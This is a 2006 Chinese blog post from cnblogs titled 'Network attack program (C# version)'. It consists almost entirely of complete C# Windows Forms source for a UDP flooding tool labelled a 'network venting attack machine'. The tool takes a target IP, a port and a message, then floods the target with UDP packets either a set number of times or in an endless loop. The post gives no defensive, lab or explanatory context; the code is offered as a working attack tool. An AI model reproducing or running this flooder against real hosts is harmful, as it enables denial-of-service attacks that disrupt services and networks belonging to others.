• 博客园logo
  • 会员
  • 周边
  • 新闻
  • 博问
  • 闪存
  • 众包
  • 赞助商
  • Chat2DB
    • 搜索
      所有博客
    • 搜索
      当前博客
  • 写随笔 我的博客 短消息 简洁模式
    用户头像
    我的博客 我的园子 账号设置 会员中心 简洁模式 ... 退出登录
    注册 登录
内蒙古峰回路转armyfeng
博客园    首页    新随笔    联系   管理    订阅  订阅

网络攻击程序(C#版)

using System;
using System.Drawing;
using System.Collections;
using System.ComponentModel;
using System.Windows.Forms;
using System.Data;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;

namespace socket_sender
{
 
/**//// <summary>
 
/// Form1 的摘要说明。
 
/// </summary>

 public class Form1 : System.Windows.Forms.Form
 
{
  
public bool run=false;    //开始攻击的标志
  public string sendstr="泄愤!";   //待发送的内容
  public int count=0;    //发送次数
  private System.Windows.Forms.Label label1;
  
private System.Windows.Forms.TextBox t_dis;
  
private System.Windows.Forms.Label label2;
  
private System.Windows.Forms.TextBox t_numb;
  
private System.Windows.Forms.RadioButton r1;
  
private System.Windows.Forms.RadioButton r2;
  
private System.Windows.Forms.Button button1;
  
private System.Windows.Forms.Button button2;
  
private System.Windows.Forms.Label label3;
  
public System.Windows.Forms.TextBox t_port;
  
private System.Windows.Forms.Label label4;
  
public  System.Windows.Forms.TextBox t_content;
  
public System.Windows.Forms.Label msg;
  
/**//// <summary>
  
/// 必需的设计器变量。
  
/// </summary>

  private System.ComponentModel.Container components = null;

  
public Form1()
  
{
   
//
   
// Windows 窗体设计器支持所必需的
   
//
   InitializeComponent();

   
//
   
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
   
//
  }


  
/**//// <summary>
  
/// 清理所有正在使用的资源。
  
/// </summary>

  protected override void Dispose( bool disposing )
  
{
   
if( disposing )
   
{
    
if (components != null) 
    
{
     components.Dispose();
    }

   }

   
base.Dispose( disposing );
  }


  
Windows 窗体设计器生成的代码#region Windows 窗体设计器生成的代码
  
/**//// <summary>
  
/// 设计器支持所需的方法 - 不要使用代码编辑器修改
  
/// 此方法的内容。
  
/// </summary>

  private void InitializeComponent()
  
{
   
this.label1 = new System.Windows.Forms.Label();
   
this.t_dis = new System.Windows.Forms.TextBox();
   
this.label2 = new System.Windows.Forms.Label();
   
this.t_numb = new System.Windows.Forms.TextBox();
   
this.r1 = new System.Windows.Forms.RadioButton();
   
this.r2 = new System.Windows.Forms.RadioButton();
   
this.button1 = new System.Windows.Forms.Button();
   
this.button2 = new System.Windows.Forms.Button();
   
this.label3 = new System.Windows.Forms.Label();
   
this.t_port = new System.Windows.Forms.TextBox();
   
this.label4 = new System.Windows.Forms.Label();
   
this.t_content = new System.Windows.Forms.TextBox();
   
this.msg = new System.Windows.Forms.Label();
   
this.SuspendLayout();
   
// 
   
// label1
   
// 
   this.label1.Location = new System.Drawing.Point(8, 80);
   
this.label1.Name = "label1";
   
this.label1.Size = new System.Drawing.Size(80, 16);
   
this.label1.TabIndex = 0;
   
this.label1.Text = "攻击目标ip:";
   
// 
   
// t_dis
   
// 
   this.t_dis.Location = new System.Drawing.Point(96, 72);
   
this.t_dis.Name = "t_dis";
   
this.t_dis.Size = new System.Drawing.Size(152, 21);
   
this.t_dis.TabIndex = 1;
   
this.t_dis.Text = "";
   
// 
   
// label2
   
// 
   this.label2.Font = new System.Drawing.Font("宋体", 12F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((System.Byte)(134)));
   
this.label2.ForeColor = System.Drawing.Color.FromArgb(((System.Byte)(192)), ((System.Byte)(64)), ((System.Byte)(0)));
   
this.label2.Location = new System.Drawing.Point(80, 24);
   
this.label2.Name = "label2";
   
this.label2.Size = new System.Drawing.Size(136, 16);
   
this.label2.TabIndex = 2;
   
this.label2.Text = "网络泄愤攻击机";
   
// 
   
// t_numb
   
// 
   this.t_numb.Location = new System.Drawing.Point(104, 216);
   
this.t_numb.Name = "t_numb";
   
this.t_numb.Size = new System.Drawing.Size(40, 21);
   
this.t_numb.TabIndex = 1;
   
this.t_numb.Text = "";
   
// 
   
// r1
   
// 
   this.r1.Location = new System.Drawing.Point(24, 216);
   
this.r1.Name = "r1";
   
this.r1.Size = new System.Drawing.Size(88, 24);
   
this.r1.TabIndex = 4;
   
this.r1.Text = "攻击次数:";
   
// 
   
// r2
   
// 
   this.r2.Checked = true;
   
this.r2.Location = new System.Drawing.Point(160, 216);
   
this.r2.Name = "r2";
   
this.r2.TabIndex = 5;
   
this.r2.TabStop = true;
   
this.r2.Text = "一直循环";
   
// 
   
// button1
   
// 
   this.button1.Location = new System.Drawing.Point(40, 256);
   
this.button1.Name = "button1";
   
this.button1.Size = new System.Drawing.Size(75, 32);
   
this.button1.TabIndex = 6;
   
this.button1.Text = "start";
   
this.button1.Click += new System.EventHandler(this.button1_Click);
   
// 
   
// button2
   
// 
   this.button2.Location = new System.Drawing.Point(184, 256);
   
this.button2.Name = "button2";
   
this.button2.Size = new System.Drawing.Size(75, 32);
   
this.button2.TabIndex = 7;
   
this.button2.Text = "stop";
   
this.button2.Click += new System.EventHandler(this.button2_Click);
   
// 
   
// label3
   
// 
   this.label3.Location = new System.Drawing.Point(8, 112);
   
this.label3.Name = "label3";
   
this.label3.Size = new System.Drawing.Size(96, 16);
   
this.label3.TabIndex = 0;
   
this.label3.Text = "攻击目标端口:";
   
// 
   
// t_port
   
// 
   this.t_port.Location = new System.Drawing.Point(96, 104);
   
this.t_port.Name = "t_port";
   
this.t_port.Size = new System.Drawing.Size(112, 21);
   
this.t_port.TabIndex = 2;
   
this.t_port.Text = "";
   
// 
   
// label4
   
// 
   this.label4.Location = new System.Drawing.Point(8, 144);
   
this.label4.Name = "label4";
   
this.label4.Size = new System.Drawing.Size(96, 16);
   
this.label4.TabIndex = 0;
   
this.label4.Text = "发送的内容:";
   
// 
   
// t_content
   
// 
   this.t_content.Location = new System.Drawing.Point(96, 144);
   
this.t_content.Multiline = true;
   
this.t_content.Name = "t_content";
   
this.t_content.Size = new System.Drawing.Size(192, 56);
   
this.t_content.TabIndex = 3;
   
this.t_content.Text = "";
   
// 
   
// msg
   
// 
   this.msg.ForeColor = System.Drawing.Color.Red;
   
this.msg.Location = new System.Drawing.Point(8, 296);
   
this.msg.Name = "msg";
   
this.msg.Size = new System.Drawing.Size(168, 16);
   
this.msg.TabIndex = 9;
   
this.msg.Text = "发送次数:";
   
// 
   
// Form1
   
// 
   this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
   
this.ClientSize = new System.Drawing.Size(320, 317);
   
this.Controls.Add(this.msg);
   
this.Controls.Add(this.t_content);
   
this.Controls.Add(this.t_port);
   
this.Controls.Add(this.button1);
   
this.Controls.Add(this.r2);
   
this.Controls.Add(this.t_numb);
   
this.Controls.Add(this.r1);
   
this.Controls.Add(this.label2);
   
this.Controls.Add(this.t_dis);
   
this.Controls.Add(this.label1);
   
this.Controls.Add(this.button2);
   
this.Controls.Add(this.label3);
   
this.Controls.Add(this.label4);
   
this.Name = "Form1";
   
this.Text = "小y";
   
this.ResumeLayout(false);

  }

  
#endregion


  
/**//// <summary>
  
/// 应用程序的主入口点。
  
/// </summary>

  [STAThread]
  
static void Main() 
  
{
   Application.Run(
new Form1());
  }


//开始按钮
  private void button1_Click(object sender, System.EventArgs e)
  
{
      
//检测ip和端口号是否填写完整
   if(t_dis.Text==""||t_port.Text=="")
   
{
    MessageBox.Show(
"请填写目标ip和端口!");
   }

            
//检查是否有自定义发送消息
   if(t_content.Text!="")
    sendstr
=t_content.Text;
            
//开启线程来实现攻击
   Thread myAttack=new Thread(new ThreadStart(this.SendTo));
   myAttack.Start();
  }


//线程主函数,功能:发送攻击数据包
  public void SendTo()
  
{
   msg.Text
="线程启动……";
   
//建立EndPoint和socket
   IPEndPoint remotHost=new IPEndPoint(IPAddress.Parse(t_dis.Text),Convert.ToInt16(t_port.Text));
   Socket s
=new Socket(AddressFamily.InterNetwork,SocketType.Dgram,ProtocolType.Udp);
            s.SetSocketOption(SocketOptionLevel.Socket,SocketOptionName.SendTimeout,
5);
   
//开始建立连接
   try
   
{s.Connect(remotHost);}
   
catch(SocketException e)
   
{
    MessageBox.Show(e.Message.ToString());
    
return;
   }


   
//如果连接成功,开始发送数据包
   msg.Text="连接成功!";
   
byte[] sendb=Encoding.Default.GetBytes(sendstr);
   run
=true;
   
while(run)
   
{
    Application.DoEvents();
    
if(r1.Checked)
    
{
     
//如果选择了多少次
     for(int i=1;i<=Convert.ToInt16(t_numb.Text);i++)
     
{
      s.Send(sendb,sendb.Length,
0); //发送数据
      count++;
      msg.Text
="发送次数:"+count;
     }

      run
=false;  //攻击完指定次数后,循环结束
    }

    
else
    
{
     
//选择了一直发送
     s.Send(sendb,sendb.Length,0); //发送数据
     count++;
     msg.Text
="发送次数:"+count;
    }

   }

   s.Close();
   run
=false;
            msg.Text
="线程退出,攻击停止!";
  }


//停止攻击
  private void button2_Click(object sender, System.EventArgs e)
  
{
     run
=false;
  }

 }

}

posted @ 2006-09-22 23:37  老冯  阅读(287)  评论(0)    收藏  举报
刷新页面返回顶部
博客园  ©  2004-2025
浙公网安备 33010602011771号 浙ICP备2021040463号-3